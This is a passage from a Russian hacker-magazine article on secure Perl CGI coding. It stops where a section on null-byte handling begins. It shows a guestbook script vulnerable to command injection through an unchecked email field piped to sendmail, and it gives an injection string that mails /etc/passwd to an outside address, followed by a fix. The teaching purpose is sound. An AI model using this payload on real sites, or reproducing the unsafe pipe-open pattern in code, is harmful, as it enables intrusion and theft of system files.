Железный скрипт Докучаев Дмитрий aka Forb Xakep, номер #069, стр. 069-130-1 (forb@real.xakep.ru) Основы безопасного кодинга на Perl Когда непросвещенному человеку нужен скрипт гостевухи, он либо ищет его в инете, либо пишет сам. Только пара-тройка людей из десяти задумывается над вопросом безопасности сценария. И они правильно делают, потому что ошибки есть практически в любом коде, и их необходимо своевременно исправлять. Мечтаешь научиться этому? Тогда слушай сюда! Доверяй, но проверяй! Если в сишном коде программиста заботит переполнение буфера, то web-разработчика в первую очередь должны волновать параметры, передаваемые CGI-сценарию. В идеальном случае скрипт стойко выдерживает любой запрос, однако подобные сценарии я встречал очень редко. Все потому что умные программисты никогда не показывают свои исходники, а свободно распространяемые скрипты, как правило, всегда дырявые. Возьми себе за правило: скачал скрипт из инета – просмотри его с ног до головы. В первую очередь, выкинь все ненужные функции (в сценариях часто встречаются комментарии к коду) и перепиши непонятные. Дело в том, что «умелые» программисты любят извращать код собственными алгоритмами даже в тех случаях, когда процедуру можно написать при помощи простого и надежного модуля. Правильный Sendmail Типичная ситуация: ты скачал фриварный скрипт гостевухи и не знаешь, насколько он безопасен. Руководствуясь моим советом, ты открываешь сорцы скрипта, анализируешь их и видишь небольшой кусочек кода подобного содержания: Благодарственное письмо Use CGI qw(:standard); $email=param(‘email’); open(MAIL,"|/usr/sbin/sendmail –t $email"); print MAIL "From: admin@lamer.ru\n"; print MAIL "Subject: Thanks\n\nThank you!\n"; close(MAIL); На первый взгляд, код не представляет ничего опасного. Но только на первый. Помнишь, что я говорил про входные параметры? Тебя должно насторожить, что переменная $email не проверяется на спецсимволы. К тому же, в коде используется вызов внешнего бинарника sendmail, который запускается для приема данных через STDIN-поток. Его ключик –t отвечает за то, что адрес получателя можно указать прямо в командной строке, как и сделано в коде гостевухи. А что если злобный хакер введет свой e-mail в виде xakep@xakep.ru|cat /etc/passwd|mail xakep@xakep.ru? В этом случае хакеру в ящик свалятся целых два письма. Первое с благодарностью, второе с файлом /etc/passwd :). Поразительно, но многие программисты до сих пор юзают sendmail с ключом –t и не проверяют входные данные, подвергая свой сайт взлому. Чтобы пофиксить баг, тебе придется отказаться от этой опции, а адрес задавать уже после открытия потока. А еще обязательно проверить переменную $email на подозрительные символы. die print "Incorrect address!\n" if ($email=~/[\|;]/ || $email~!/\@/); open(MAIL,"|/usr/sbin/sendmail"); print MAIL "To: $email\n"; ............. Предательский байт Следующая, более коварная ошибка встречается гораздо чаще, чем кривой вызов sendmail. Баг основан на так называемой обработке нуль-байта. В сишных функциях подобный байтик является признаком конца строки. Соответственно, как только он встречается, функция не обрабатывает дальнейшие чары в строке. Однако Perl так не считает :). Перловая строка может содержать любые байты, даже нулевой. В результате подобной рассинхронизации взломщик может хакнуть твой скрипт. Непонятно? Рассмотрим на примере. Допустим, в той же гостевухе ты встречаешь следующий код: |